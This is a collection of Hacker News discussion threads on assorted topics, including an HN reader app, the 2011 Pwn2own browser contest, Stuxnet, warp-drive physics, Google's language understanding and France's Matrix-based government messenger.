Show HN: Top 10,000 Hacker News Posts of All Time – Interactive Visualization - aaronhoffman
https://www.sizzleanalytics.com/Boards/sizzle/Hacker-News-Top-Posts-All-Time/dfb2af8e-67fa-47a7-892c-435de6321378
======
aaronhoffman
Hello HN,
I am one of the developers that built sizzleanalytics.com. We built this tool
using d3, dc, and crossfilter.
We'd love for it to become the "github for data visualizations". You can
upload your own data, clone or fork public visualizations, or keep your data
private, all for free.
We're actively building out new features, so we'd love to hear your thoughts.
If you're interested in how we gathered the data for this visualization, here
is a blog post about it: [http://aaron-hoffman.blogspot.com/2016/10/hacker-
news-datase...](http://aaron-hoffman.blogspot.com/2016/10/hacker-news-dataset-
october-2016.html)
Archives of all 10MM json files are available there as well.
------
stefanwlb
Les we forget [http://www.drop-dropbox.com](http://www.drop-dropbox.com)
~~~
aaronhoffman
this website does not use or require dropbox
| {
"pile_set_name": "HackerNews"
} |
Show HN: A Hacker News Reader App with Tabs - aswinmohanme
https://play.google.com/store/apps/details?id=me.aswinmohan.hacknews
======
aswinmohanme
Since Ads are universally hated, I have made a decision.
The free version will not have ads no more and the Premium version will have a
beautiful dark theme.
What do you guys think ?
~~~
scarface74
I disagree. You should get paid for your work - either through ads or an in
app purchase to remove the ads. If someone is not willing to pay you money or
look at ads, they aren't your customer.
Developers - especially mobile developers - have to stop devaluing themselves.
~~~
lrvick
Honestly this idea that you can still pump out fairly simple add-
supported/paid apps as a path to paying your bills is crazy unless you are
making the next flappy bird.
By making it open source you could have a much easier time getting interviews
at companies that will gladly pay a salary that far exceeds what you could
make on one non-unicorn app.
~~~
scarface74
I would have a private Git repo on VSTS (free), put a link to the app on my
resume and let them know that I would be more than willing to go through both
my code and my project plan.
It doesn't have to pay all of your bills but if at least made some beer money,
it's better than nothing. Part of being a developer should be learning how to
monetize.
------
maxyme
This isn't a bad start but I'm not a fan of the UI. I use
[https://play.google.com/store/apps/details?id=com.premii.hn](https://play.google.com/store/apps/details?id=com.premii.hn)
which you can sort of demo at [http://hn.premii.com](http://hn.premii.com) and
it has a few bugs/quirks because it isn't super actively maintained but the
design is just really solid. Gestures work well (Swype left from an article to
go back), colors are great (and user choosable), dark mode included, fonts
customizable...
I think you have some steep competition, that's all. It's a great start to get
something out there though!
~~~
ZeroCool2u
Also what I use. Definitely isn't ideal, but checks the most boxes right now.
~~~
PenguinCoder
I echo your comment. I use it and I like it just barely more than the other HN
readers out there. It's the only website based APP I actually have installed,
for the most part I hate dedicated apps for existing website. But, the
swiftness and usability of this one make it worth using; for now.
------
qrbLPHiKpiux
As I said on the other thread here, I like the desktop interface, using pinch
and zoom on my mobile device. Reddit is forcing me into the mobile app, and
mobile interface, I constantly have to request desktop site, and it's starting
to irritate me, pushing me away!
~~~
Normal_gaussian
[https://ud.reddit.com](https://ud.reddit.com)
Its the only way I can stand to use reddit now. Wrote an extension for my
desktop that changed any links into reddit to the ud form for me as well
~~~
PenguinCoder
Care to share the extension? Ever since the 'redesign' I have had non stop
"Sorry something went wrong! Try refreshing!" issues. It really is driving me
away from Reddit (which in itself may be a good thing), and I'm constantly
rewriting URLs to the 'old.reddit.com' format.
~~~
Normal_gaussian
Unfortunately its a catch all extension that doesn't just do that; all you
need to do is grab an example extension and make the script do a search for
all href and conditionally replace content. I've got a mutation observer on as
well but I don't know if it was ever useful
------
miguelrochefort
I think this is a very poor design:
\- Nested tabs are a poor use of space, scrolling tabs would be better
\- The spacing around posts is too large
\- The spacing within posts is too large
\- The notch extends beyond the status bar
\- The captions on screenshots are cringey
\- The screenshots don't show the comments page
\- The icon looks weird with both a border and bounds with different corner
radius
\- The '.' separator is sometimes bold
\- Capitalization is inconsistent ("3 Comments", "3 minutes")
\- The title bar of the comments page is empty
\- The navigation architecture with each tab having its own stack is weird
\- Padding is different in every type of page (posts, post, about)
\- Line breaks in comments are ignored
------
thosakwe
Even though there are ads, respect to you for putting this out there. The
grind is real.
Unfortunately, I don’t think mobile development is such a good way for
independents to generate revenue, unless you happen to make a wildly viral
game.
~~~
aswinmohanme
Thanks
I don't want to generate revenue to live on(yet).
I just want to show that I'm not wasting time. And social media followers
don't count. So this was like the only way
------
bitmapbrother
The UI needs some work as I find it barren of essential features. You have no
settings screen and no ability to change the font size or the font used.
I currently use Materialistic and it's probably the best HN client I've used
on either platform. It has a tablet mode, a variety of themes, including
several dark themes, adjustable font sizes, offline mode, readability mode
when visiting websites, blocks ads in websites, does not contain ads and best
of all it's open source and free.
[https://play.google.com/store/apps/details?id=io.github.hidr...](https://play.google.com/store/apps/details?id=io.github.hidroh.materialistic)
Here's the GitHub repo:
[https://github.com/hidroh/materialistic](https://github.com/hidroh/materialistic)
------
aswinmohanme
For all who are disgusted by Ads, there is an Ad Free Premium version.
[https://play.google.com/store/apps/details?id=me.aswinmohan....](https://play.google.com/store/apps/details?id=me.aswinmohan.hacknewspro)
------
firic
Why do you need access to the phone's id, phone number, and files?
~~~
aswinmohanme
Not me, Ask AdMob Native Wrapper
~~~
scarface74
I replied earlier that you should have ads because you should monetize, but
that's not a good answer. If you are forced to use a binary blob that needs
those permissions, it's not a good choice.
But then again, Androids permission is system is still crap...
~~~
TheForumTroll
Yes, it is far from perfect but unless you go for a Purism phone there isn't
anything better. On Android you can at least get very close to some privacy
unlike in iOS.
~~~
scarface74
Really? iOS's permission system is a lot better thought out when it comes to
privacy.
Third party keyboards don't by default have any network permission and the
keyboard automatically changes to the default keyboard for passwords.
The content blocking framework doesn't allow the content blocking app to know
your web browsing habits.
You don't need phone access to stop audio from playing within your app like
you do on Android.
Google's next generation messaging app doesn't even have end to end
encryption.
------
forlorn
Why would I need a separate (+fremium) app for a free website that works
pretty well on my mobile browser?
~~~
baldfat
Personally I really like the Reddit Apps like baconreader on mobile more. I
also like how I am always signed in and getting notifications when someone
replies to my comment.
All HakerNews apps fail on several ways for me.
1) COMMENTING - I really don't need to sign in or do anything if all I get are
links to websites and other comments I can respond to
2) Reading links - Normally it is a rough transition. Once again baconreader
is my favorite app for reading sites like HackerNews and Reddit. It has it's
own simple reader built in. he official Reddit app also has great tabs and
opens links inside the app
3) Notifications - No notifications on direct replies always seems weird to me
~~~
forlorn
Bacon Reader is hands down the best Reddit client out there. This is one of
the few exceptions when you would prefer an app.
------
brudgers
Why ads?
~~~
caleblloyd
I don't want to touch it if it had ads. Hacker News is a community I like
because its users generally promote the "Hacker Ethic" [1]. As far as I can
tell this app has no infrastructure costs because it just uses the HN API. In
putting ads on it, the app author is monetizing a free service they like to
use. That is the opposite of the Hacker Ethic.
[1]
[https://en.m.wikipedia.org/wiki/Hacker_ethic](https://en.m.wikipedia.org/wiki/Hacker_ethic)
~~~
aswinmohanme
I'm a student from India. Here parents are really strict about Computer time.
The only way I can convince them isnto show them that this thing can generate
some money.
That's why I put ads, you know how hard I felt to put ads on something that
you spend hours perfecting.
My previous App was tet, it has no ads, but I really need to make some revenue
to show them.
You want to know what those Ads are, ther'e justification that I won't go
broke if I pursue code.
~~~
SquareWheel
Perhaps offering a one-time IAP to remove ads would satisfy all parties?
~~~
Fnoord
The latest trend is subscriptions; pay X a year to remove ads. And, while I
hate them (cause who needs more monthly expenses?) they're fair for the
developer because one-time IAP isn't sustainable on the long term compared to
sustainable income. That is of course assuming there is constant improvement
on the app/data. Another trend is disabling ads via sub but still having
tracking. At least GDPR attempts to fix it.
------
SuperNinKenDo
Proprietary or free?
~~~
aswinmohanme
Free with Ads
~~~
drdaeman
I believe when asking for " _proprietary or_ free?" it's usually about end-
user freedoms, not monetary cost. "Free" as in "free speech", not as in "free
beer".
------
anotheryou
I'm sold for anything that has a "mark all read and hide them" option like the
HNMarkAllRead chrome extention (which I actually use on FF, even on mobile).
------
dustinmr
Been playing with this on a Pixel C. Can't see a way to collapse threads?
Really like the tabbed interface though.
------
orschiro
Related: how do you consume hacker news? Using a dedicated Android or iOS app
or directly opening the website in your mobile browser?
~~~
chirau
I've tried a number of apps, but I always end up coming back to the site
itself.
~~~
j0hnml
It’s also so nice how quickly the site loads — that and the simplicity of HN’s
mobile site makes for a very pleasant experience.
------
SeriousM
A read marker is missing. Just show the title a bit opaque
------
blakespot
Looks very nice. I wish there were an iOS version.
------
defoze
Hopefully you have an iOS one out soon!
------
iddan
This is un-material designed
~~~
aswinmohanme
I Know,and I'm proud of It :D
------
oneplane
Doesn't work on iOS.
~~~
aswinmohanme
I'm currently working on it
| {
"pile_set_name": "HackerNews"
} |
Pwn2own day one: Safari, IE8 fall, Chrome unchallenged - sigzero
http://arstechnica.com/security/news/2011/03/pwn2own-day-one-safari-ie8-fall-chrome-unchallenged.ars?utm_source=rss&utm_medium=rss&utm_campaign=rss
======
jedsmith
> This is because, in a change to historic competition rules, the system
> configuration was frozen last week, so the last-minute fix hasn't prevented
> exploitation.
then later
> One possible reason for this is that Google published a Chrome update
> yesterday, closing at least 24 security flaws. The would-be Chrome attacker
> may have been depending on one of these flaws to attack the browser.
I thought the configuration was frozen last week. Was that only for Apple? On
first read, this seems like a faulty conclusion based on the earlier
statement.
~~~
blinkingled
AFAIK the contest requires you to exploit an previously unknown vulnerability.
(Contest rules link is down on cansecwest site.)
Which means even though Apple patched the 60 vulnerabilities the researcher
used a one that was not known and thus not patched.
------
JonnieCache
_...Address Space Layout Randomization (ASLR) are well-known_
Note that unless things have changed (something which I can find no evidence
for,) snow leopard still lags behind windows and linux in its ASLR, in that it
doesnt randomise all the key parts of the kernel. Hopefully this will be fixed
in lion.
[http://www.theregister.co.uk/2009/08/29/snow_leopard_securit...](http://www.theregister.co.uk/2009/08/29/snow_leopard_security/)
[https://secure.wikimedia.org/wikipedia/en/wiki/Address_space...](https://secure.wikimedia.org/wikipedia/en/wiki/Address_space_layout_randomization#Mac_OS_X)
EDIT: although apparently, as ever, the community comes to the rescue. Stefan
Esser presents steps to randomise dyld's address space yourself:
[http://antid0te.com/antid0te-for-snow-leopard-rebasing-
dyld....](http://antid0te.com/antid0te-for-snow-leopard-rebasing-dyld.html)
------
alperakgun
it is sad to see apple mac/osx fail now for the 5th year in pwn2own; that
means apple doesnt take their task seriously,as much as they take ux polishing
and leak-hyping. that explains why on mac os/x safari usage lags behind
others; given a competitive environment apple products can't compete.
~~~
sigzero
Well...the last Safari update patched 50 things. So, I am hoping that some
light is shining into the Apple security brain.
------
keyle
Well I just found out that Google Chrome 10.0 is out. Thanks for that.
~~~
Devilboy
Chrome now beats every other major browser in the version number department.
~~~
lean
trivial, but Opera's at 11
~~~
silversmith
Emphasis on _major_ :)
------
twodayslate
Sound like Google is making their challenge harder than everyone else. That
just isn't fair.
~~~
elliottcarlson
Is that the case? My understanding was that they were offering an additional
bounty however the rules to claim that was a bit more strict than the standard
pwn2own rules. I could be mistaken though...
~~~
billybob
Not sure if the rules were stricter, but Chrome's increased bounty from Google
was the main thing I wanted to hear about in this contest. It's a nice PR move
if Chrome isn't hacked successfully, and probably a nice recruitment move if
it is.
------
adsr
Kind of odd, since the Safari vulnerability was in WebKit.
~~~
Xuzz
Chrome has superior sandboxing of the rendering engine than Safari, so even if
you could crash Chrome with the bug, actually doing something "useful" would
be significantly more difficult.
~~~
adsr
Theoretically that may be, but this time Chrome won only because the
contestant didn't show up.
"The third browser to be tested was scheduled to be Chrome. However, the
contestant registered to attempt the attack did not show up, so the browser
remains unbeaten."
~~~
jamesaguilar
I wonder if there is a reason he didn't show up. For example, perhaps he was
incapable of demonstrating any exploit. It's not as simple as "it would have
been compromised if the contestant showed up."
~~~
adsr
Of course it's not that simple! I did not mean to imply that. By the same
token as it's not as simple as, he/she wasn't able to produce an exploit.
| {
"pile_set_name": "HackerNews"
} |
Rosalind, a platform for learning bioinformatics and programming - aarestad
http://rosalind.info/
======
chaoxu
I'm still looking for a open source version of this so I can create a nice
collection of algorithm problems.
------
doug1001
excellent name! (i assume the choice is a tribute to Rosalind Franklin, the
crystallographer whose x-ray diffraction images of the DNA molecule led Watson
& Crick to deduce its structure.)
------
jqm
This looks pretty interesting.
------
dang
Discussion from 2012:
[https://news.ycombinator.com/item?id=4761831](https://news.ycombinator.com/item?id=4761831).
| {
"pile_set_name": "HackerNews"
} |
Quantum setback for warp drives - Anon84
http://www.technologyreview.com/blog/arxiv/23292/
======
jerf
So, previously, if you applied an impossible amount of impossibly-stable
negative mass in an impossible configuration that was impossible to maintain
due to impossible-to-predict interactions with the interstellar medium and
goosed it in an impossible manner you might have been able to move faster than
light.
Now some guys have revealed that it's also impossible due to quantum effects.
Frankly, that's just one more "impossible" in a rich sea of impossible
assumptions to make this style of warp drive work.
As I like to say, once you accept one impossibility into your theory, the fact
that impossible results occur is not fundamentally interesting.
People who babble about how people thought that traveling faster than sound
was impossible and who are we to say this is actually impossible need to spend
more time with real relativity and not Star Trek "wishing is an acceptable
substitute for engineering" relativity. People who think that the Alcubierre
drive was ever actually possible betray a _profound_ misunderstanding of both
the drive and relativity, in their zeal to get to the results they want
instead of the reality they have. If FTL is possible, it won't be as a result
of QM or relativity. It might come from the eventual fusion, but a deeper
understanding of relativity shows that you're still facing a steep uphill
battle.
The thing that you come to understand if you actually understand relativity is
that it is not merely that FTL travel is "impossible" because c is some
"cosmic speed limit". c is not the cosmic speed limit. c is the number that
indicates the relationship between space and time in the Minkowsky metric. c
comes from the literal shape of the universe, which is not the Euclidean one
you think it is. Travelling "faster than c" is not merely breaking the 55mph
speed limit on your local road, it is fundamentally a undefined, gibberish
statement in relativity. Everything outside of your lightcone is profoundly
indistinguishable from anything else outside of your lightcone.
The deepest discussion of relativity I know of that is freely online:
<http://www.mathpages.com/rr/rrtoc.htm>
------
grinich
I don't understand how Hawking radiation is significant. It's far less than
the cosmic background radiation everywhere in the universe. (This is why we
can't "see" black holes.)
~~~
jerf
This is something like standing on Pluto and saying you don't see what's so
bright about the sun. Why not come stand on the surface of the sun and then
make up your own mind?
Hawking radiation is not intrinsically weak. Hawking radiation _as generated
by a large blackhole_ is weak. Flashlights are not weak; flashlights as
powered by my nearly dead batteries are weak.
With a different spacetime configuration you can get arbitrarily strong
Hawking radiation, just like you can get arbitrarily strong light using more
power. Hawking radiation around a very small black hole tears it apart
relatively quickly.
The Universe does not seem to like playing games like this and it tends to
wipe out any structure that permits causality violation (as any FTL drive
would) in an unsurvivable blaze of either Hawking-radiation or in an explosion
of the vacuum energy (see Hawking's work on what would happen if you towed a
wormhole around enough at relativistic speeds to cause a causality violation).
And by "unsurvivable", I don't mean "probably fatal to life but we might be
able to engineer around it". I mean, "unsurvivable to the space-time structure
in question"; whatever mass or energy happens to get in the way is orders of
magnitude away from even affecting the outcome, let alone standing a chance of
survival.
~~~
grinich
Thanks for the great reply! I guess I'd only read about Hawking radiation with
respect to black holes, and never considered its implications on a larger
scale. Sounds like it has larger implications than I thought.
Were you citing a specific paper by Hawking (towing a wormhole)? I'd like to
read more.
~~~
thwarted
I haven't read the Hawking paper in question specifically, but the idea of
towing a worm hole around is that you move one end of a worm hole for some
period of time at relativistic speeds. Since as you approach c, time slows
down, so the stationary end of the worm hole is further in the future than the
one that was moved around. It's a pretty stock layman's example of how time
travel _could be_ possible and I'm sure Hawking has torn a, er, hole in it
some how.
------
jimfl
If the bubble is unstable then it probably just needs constant modulation,
meaning the FTL ship is flown more like a helicopter than a rocket ship. That
makes it more maneuverable.
------
DanielBMarkham
This just in: Quantum mechanics and relativity don't get along.
Film at 11
<<yawn>>
------
geuis
Yeah let's get to the point where it's technically possible to build one. This
is exactly like preminent scientists in 1903 publishing papers about how
powered flight was impossible.
| {
"pile_set_name": "HackerNews"
} |
Tesla 4Q net loss widens on costs for new car - tokenadult
http://www.businessweek.com/ap/2013-02-20/tesla-4q-net-loss-widens-on-costs-for-new-car
======
tokenadult
An assortment of other stories following up on today's fourth quarter 2012
results report from Tesla Motors:
"As Tesla Eyes Profit, Elon Musk Wants to Punch Himself in the Face"
[http://www.businessweek.com/articles/2013-02-20/as-tesla-
eye...](http://www.businessweek.com/articles/2013-02-20/as-tesla-eyes-profit-
elon-musk-wants-to-punch-himself-in-the-face)
"Loss Widens at Electric-Car Maker"
[http://online.wsj.com/article/SB1000142412788732354920457831...](http://online.wsj.com/article/SB10001424127887323549204578316082000311770.html)
"Tesla’s Earnings Indicate Some Customer Cancellations"
[http://dealbook.nytimes.com/2013/02/20/teslas-earnings-
indic...](http://dealbook.nytimes.com/2013/02/20/teslas-earnings-indicate-
some-customer-cancellations/)
"Tesla posts revenue of $306 million, larger-than-expected loss"
[http://www.latimes.com/business/autos/la-fi-hy-autos-
tesla-2...](http://www.latimes.com/business/autos/la-fi-hy-autos-
tesla-2012-earnings-announced-20130220,0,7725.story)
| {
"pile_set_name": "HackerNews"
} |
Great commercial from Stride Gum that copies Apple - zackbigdog
http://www.fireoneout.com/post/29689851507/great-commercial-from-stride-gum-that-copies#disqus_thread
======
LaniAR
great screenshots of the ad: [http://designtaxi.com/news/353353/Gum-
Commercial-Pokes-Fun-A...](http://designtaxi.com/news/353353/Gum-Commercial-
Pokes-Fun-At-Apple-Ads/)
| {
"pile_set_name": "HackerNews"
} |
New tech/developer focused Podcast: Building for the Next Billion - jburrski
https://soundcloud.com/building-for-the-next-billion
======
carlmungz
Interesting concept. Will this be a podcast featuring a lot of interviewees
from developing countries where the next billion users come from?
| {
"pile_set_name": "HackerNews"
} |
Apple's Smart Bike - organicgrant
http://www.fastcodesign.com/1662066/apples-smart-bike-could-squash-all-other-bike-tech?partner=homepage_newsletter
======
pmccool
Ironically, the UCI is pushing to get rid of radios, so the communication side
of it is probably here nor there in pro cycling.
I suspect, though, that regular punters will be quite keen. I certainly carry
my iPhone when out riding; having one device to map, monitor speed and make
phone calls is nice.
------
organicgrant
iPad/iPod on my handlebars? Yes please!
~~~
noonespecial
I made a little mount for my ipod on my bike handlebars. It shook the ipod to
pieces in short order. When I used to ride a lot, I had trouble finding a
watch that would survive on my wrist for the same reason.
I carry my ipod in my pocket. I can't poke at it there while riding but its
life is much improved.
I'd be the first in the market for a product that cushions the ipod from the
worst jolts of being on the bars and still lets me access it. (This is where
everyone responds with fabulous links to products I've never heard of...)
| {
"pile_set_name": "HackerNews"
} |
A Man Who Found Stuxnet (2011) - swatkat
https://eugene.kaspersky.com/2011/11/02/the-man-who-found-stuxnet-sergey-ulasen-in-the-spotlight/
======
Diskutant
Another interesting read about Stuxnet: [http://arstechnica.com/tech-
policy/news/2011/07/how-digital-...](http://arstechnica.com/tech-
policy/news/2011/07/how-digital-detectives-deciphered-stuxnet-the-most-
menacing-malware-in-history.ars)
------
stunt
Darknet Diaries podcast had an episode about Stuxnet and a few more about
other attacks that are linked to it.
[https://darknetdiaries.com/episode/29/](https://darknetdiaries.com/episode/29/)
------
mobilio
It's good that we know who was found it. But still there is lack of
information who built it.
~~~
Diskutant
According to this we know who built it: [https://arstechnica.com/tech-
policy/2012/06/confirmed-us-isr...](https://arstechnica.com/tech-
policy/2012/06/confirmed-us-israel-created-stuxnet-lost-control-of-it/)
| {
"pile_set_name": "HackerNews"
} |
Is CSS or HTML a programming language - abula
http://naijafixer.com/webmaster/is-css-or-html-a-programming-language/msg84/?topicseen#new
======
wsgeorge
I find the argument for HTML/CSS being a programming language as more of a
status issue. People want to be called programmers.Not every language is a
programming language.
~~~
abula
But i feel css can later turn into a programming language in the future
| {
"pile_set_name": "HackerNews"
} |
How Google understands language like a 10-year-old - gibsonf1
http://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/2010/10/18/BUJ61FTF9I.DTL
======
jakevoytko
I found this article wanting. It seems like they took an official Google Blog
post from January [0] and stripped out all of the interesting information.
I have a more specific question about Google Search that I'd like to see
answered. To what extent do they model specific languages, versus training
classifiers? Are they really grokking sentences or sentence fragments, or do
they have enough training data to fake it, like Bill Gates in "Petals Around
the Rose" [1]?
[0] [http://googleblog.blogspot.com/2010/01/helping-computers-
und...](http://googleblog.blogspot.com/2010/01/helping-computers-understand-
language.html)
[1] <http://www.borrett.id.au/computing/petals-bg.htm>
~~~
syllogism
Yeah, it's really a jumble of ideas. I'm a postdoc doing research on syntactic
parsing, and I'm very sure that Google doesn't currently use a syntactic
parser. Parsers are currently either too inefficient or too inaccurate to use
at web scale --- even for Google.
The problem is that natural languages are at least context-free, and no
algorithm exists (can exist?) to parse context-free languages in less than
polynomial time, with respect to the length of the sentence. You can
approximate by parsing with probabilistic finite-state machines, but they get
led down blind alleys and can't backtrack, so they're inaccurate. Let me know
if you'd like me to elaborate on this with examples (or you can Wiki "garden
path sentence" and probably imagine the problem).
I'm also sure they're not doing supervised word sense disambiguation. That's
in a poor state too, and imho isn't even a good idea. The whole concept of
having someone list out the "senses" of a word is misguided, because it's
totally unclear how fine-grained you should be. And then you need at least a
couple of hundred labelled examples for every word...
Most of the examples they give are best explained by dimensionality reduction
techniques, which have been popular in information retrieval for some time.
Google have undoubtedly invented some secret sauce, but they've also just got
orders of magnitude more data and processing power.
~~~
nostrademons
Don't you mean context-sensitive? A context-free grammar can be parsed pretty
easily with a stack machine, and most programming languages are context-free.
C and C++ are even context-sensitive, but the context-sensitivity is mostly
limited to typedefs, and so doesn't tend to blow up parse times beyond reason.
(Well, many would consider C++'s compile time to be unreasonable, but this is
largely because of #include, which is another issue.)
~~~
nvoorhies
Most sane programming language syntaxes are confined to a subset of CFGs,
usually LALR, which is nice and easy to generate fast parsers for. To parse
any CFG you have to fall back to strategies like CKY that have worst case
behaviors that are way worse than linear, like CKY or GLR or what have you.
But yeah, context sensitive stuff can be way worse.
Unless new evidence has surfaced in the years since I finished a degree in
linguistics, there's only a couple of pieces of evidence for language
constructions in natural languages that can't be generated by a context free
grammar, like a Adv1Adv2Adv3Adj1Adj2Adj3 construction in Zürich dialectical
German (where Adv = adverb and Adj=adjective, and numbers represent which
adverb modifies which adjective).
------
cryptoz
I remember laughing at people (in the late '90s) who tried to search the
Internet with English-language queries: how do i cook pancakes without butter
vs pancakes +"no butter"
Anyway, these days I'd obviously be wrong. I'm so impressed with the strides
Google has taken to NLP, and I am fully expecting them to beat everyone to
Strong AI. And why not? They know that the better they are, the better their
advertising revenue will be. And they know that once they get there, even if
ads are no longer profitable having the world's only AI will be
incomprehensibly popular.
My one problem with this article is the last line:
"They're still not approaching the conversations you'd have as a teenager."
Google hasn't yet approached "the conversations" you'd have with a 5 year old.
While Google may _understand_ a 5-year old's conversation, it certainly
couldn't participate it in and reply back to the kid.
~~~
donaq
_While Google may understand a 5-year old's conversation, it certainly
couldn't participate it in and reply back to the kid_
I would argue that it sort of does. Only instead of a normal kid, it's a mute
kid that can only reply to you by passing you back documents it thinks you're
asking for.
~~~
nostrademons
It can actually do simple facts now:
[http://www.google.com/search?q=what+is+the+height+of+the+emp...](http://www.google.com/search?q=what+is+the+height+of+the+empire+state+building)
[http://www.google.com/search?q=what+is+the+boiling+point+of+...](http://www.google.com/search?q=what+is+the+boiling+point+of+water)
~~~
cryptoz
The answer it gives for the height of the Empire State Building is totally
useless.
"1,250".
What?! 1,250...feet? inches? meters? centimeters?
------
jorleif
It's a bit strange to compare Google's language understanding to that of a
human, since Google does not really understand language, as much as is able to
return documents that are about the same thing as the person writing a query
intends. Surely, a two-year old understands negation just fine, while Google
does not.
Google's understanding of language is similar to that of a savant who has been
imprisoned since birth and has been tied to a bench in front of a screen
showing texts of the web. He can't read in the sense that he could pronounce
words, but he recognizes familiar patterns of symbols. He does not know what
"pancakes" are, but he knows that the word is often seen with the word
"butter". It's amazing how much can be done in this way, but it is quite
different from how humans understand.
~~~
moxiemk1
>> Google does not really understand language
I used to believe, like you do, that the ability to parse and make decisions
based on input was not the same thing as understanding.
Then, I wrote a chess bot for a CS lab. The thing plays better than me, better
than it's peers. My partner, who was good at chess (or at least very literate
in it) could identify what strategies it was going for. We had a visualization
of what moves it was considering, and you could see that it was essentially
playing chess by swinging a baseball bat around and seeing what looked nice.
Does the chessbot "understand" chess? It sure seems like it. We like to think
humans are special, and have some kind of unique understanding that computers
can't, but I think it's only us lying to ourselves.
~~~
brosephius
I dunno, for me "understanding" something implies an ability to reason about
your reasoning. a rule-based AI can't do that, and even if interesting
patterns emerge, it's still deterministic.
~~~
sfphotoarts
This point crosses into the realm of metaphysics and philosophy because it's
entirely possible that more than just google's AI is deterministic. Besides,
as input for the AI they are using the behavior of the millions of google
users. Its likely as deterministic as you or I.
------
user24
Google probably use a tweaked version of the Viterbi Algorithm (
<http://en.wikipedia.org/wiki/Viterbi_algorithm> ) to perform POS tagging.
It's really not that hard if you have a tagged corpus.
People always seem to look at google as though they're doing some special
secret magic, but in fact they're really just implementing fairly well-known
CS algorithms. They just do it _exceptionally_ well.
~~~
plq
i don't think it's the fact that they are good at implementing algorithms.
they're rather good at running those algorithms at exceptionally high scale.
(once implemented, viterbi decoding is viterbi decoding, after all)
~~~
robryan
It's the scale of data available for training to, there is a Google Research
paper call 'The Unreasonable Effectiveness of Data' talking about how even in
the noisy medium that is the internet there is a lot to be gained from that
level of data.
Also a paper from someone at Google on brute force paraphrase acquisition
using billions of sentences combined with some relatively simple rules.
~~~
GFischer
Thanks for pointing out that paper ('The Unreasonable Effectiveness of Data'):
[http://www.scribd.com/doc/13863110/The-Unreasonable-
Effectiv...](http://www.scribd.com/doc/13863110/The-Unreasonable-
Effectiveness-of-Data)
------
jcroberts
The article wasn't very useful compared to blog posts by google itself, but
the discussions on what google can "understand" always reminds me of this:
<http://www.fun-images.com/thumbs/25-my-fucking-keysbig.jpg>
------
metageek
_The search engine has also begun to understand which words are synonyms for
others._
I was delighted the day I noticed it knew that "regexp" and "regex" were
synonyms for "regular expression".
------
mickdarling
So in the 15 years they started using statistical methods for understanding
language, googles ability to understand language is at about an 8 year olds
level. So it is learning about half as fast as a human child. Not bad and an
excellent opportunity to predict it's growth rate for the future.
If this is a linear learning curve, in another 15 years it should just start
to be able to 'understand' the nuances of Shakespeare and Ulysses among
others.
| {
"pile_set_name": "HackerNews"
} |
Show HN: Feedback that anyone can launch gather, share, and use - jackbwheeler
https://sprint.dscout.com/s/smcs2kak
======
jackbwheeler
Hey HN - Wanted to share what I've been working on.
It's a product called dscout Sprint - which is geared to help design teams get
quick feedback outside their walls and hear from real users.
The key differentiator in Sprint is that each video response is really short.
The truth is that in-person feedback is most often the most useful, but it's
hard to scale. Video feedback is hard to use because you have to 1) watch it,
and 2) edit it for anyone to view.
Videos on Sprint are short, which enables you to simply share a clip, and
facilitate design conversations to help your team move forward.
------
tarr11
I like seeing the faces of users - makes the feedback seem more real.
You need more sample projects though, to get a sense of what it can do.
| {
"pile_set_name": "HackerNews"
} |
Nth-child CSS pseudo-class Christmas colors. - init0
http://h3manth.com/content/nth-child-css-pseudo-class-merry-christmas-numbers
======
calciphus
[dead link]
| {
"pile_set_name": "HackerNews"
} |
France’s government is building its own encrypted messenger service - lnguyen
https://www.reuters.com/article/us-france-privacy/france-builds-whatsapp-rival-due-to-surveillance-risk-idUSKBN1HN258
======
Arathorn
This isn’t a case of NIH; France has adopted Matrix for the project, which is
a lightweight fork of Riot.im combined with a large private federation of
Matrix servers. The whole thing is open source (although not public yet, as it
is very early days) and open standards based. At Matrix.org we’ve been
providing some support to them :) It’s very exciting to see open government
projects which actually grok open source and open standards.
~~~
spacenick88
Would you say it's a correct description of Matrix to call it "Jabber/XMP
without the whole XML mess and over HTTP"?
~~~
Arathorn
Not really - the protocols are very different. Matrix is a way of replicating
conversation history over a mesh of participating servers; a bit like a bunch
of Git repositories constantly pushing commits (messages) to one another. XMPP
is much lighter weight and builds on simpler message passing and pubsub
primitives. You can use both to build comms systems, but they take opposite
engineering and governance approaches on almost everything.
~~~
amelius
> a bit like a bunch of Git repositories constantly pushing commits (messages)
> to one another.
Why would you need to do that? Why not just give every message a timestamp,
make sure they get sent, and sort the messages on the receiver side? If you're
really concerned about message order, you could give every message a unique
id, and send out the id of the previous message with every message, and
improve your sort function accordingly.
~~~
Arathorn
Absolute timestamps cannot be trusted in a byzantine environment, so we do
precisely as you suggest - messages are transmitted with pointers to the
previous message(s) in the room message graph, so you get a partial ordering
within the room (just like git). We also sign the messages into a merkle graph
(like git) to stop the shared datastructure being tampered with.
~~~
greenhouse_gas
So it's a blockchain! /s
~~~
Arathorn
[https://twitter.com/whitequark/status/946886702932557824](https://twitter.com/whitequark/status/946886702932557824)
:D
------
Davidbrcz
Comment from a French insider: It will not work. The last two IT projects the
government ordered I have in mind are the ears dropping facility for the
police and SAIP, an application to warn citizens in case of a dramatic event
such as a terrorist attack. Both are failures. On the first one, the police
complains of crashes, slowness, and not fulfilling its missions. The second
simply does not warn people when there is an attack...
The worst is that it will cost tax payers millions
~~~
isolli
Such a comment is meaningless without context. How often do corporate IT
projects fail? How often do government IT projects fail?
~~~
icebraining
How is the corporate failure rate relevant?
~~~
isolli
It is relevant because IT projects are inherently difficult, and many of them
fail. Just because the French government failed at two projects mentioned in
the original comment does not mean that a) it's particularly bad at IT
projects or b) it will necessarily fail again. Having the corporate failure
rate as a baseline could help assess the proficiency of governments around the
world.
------
draugadrotten
The spin here is funny. The article pretends this is done to prevent
eavesdropping, while it is probably closer to the truth that this is done to
_ensure_ eavesdropping by the DGSI.
~~~
Aissen
If you're talking about the metadata, yes, probably. It 's the same kind of
eavesdropping capability you'd have from Signal servers (i.e: not much).
Also: from what we've seen of Macron's team, they've proven that they have
good-enough internal technical advisors; so it remains to be seen if they'd
use a solution that can be eavesdropped.
~~~
cm2187
Unless you can verify the deployed build against an open source code, whether
the code is open source or not is irrelevant, you trust all the
intermediaries. Which is ok for a corporate actor but probably not when you
are a sovereign actor and know you are dealing with a keen NSA. How could you
control that Apple or Google wouldn’t patch the app before it gets deployed or
after it has been deployed?
~~~
Aissen
On Android (at least); you can verify that the apk is signed with the
developer's key; and Signal provides reproducible builds. Then the app is
designed to not trust the server.
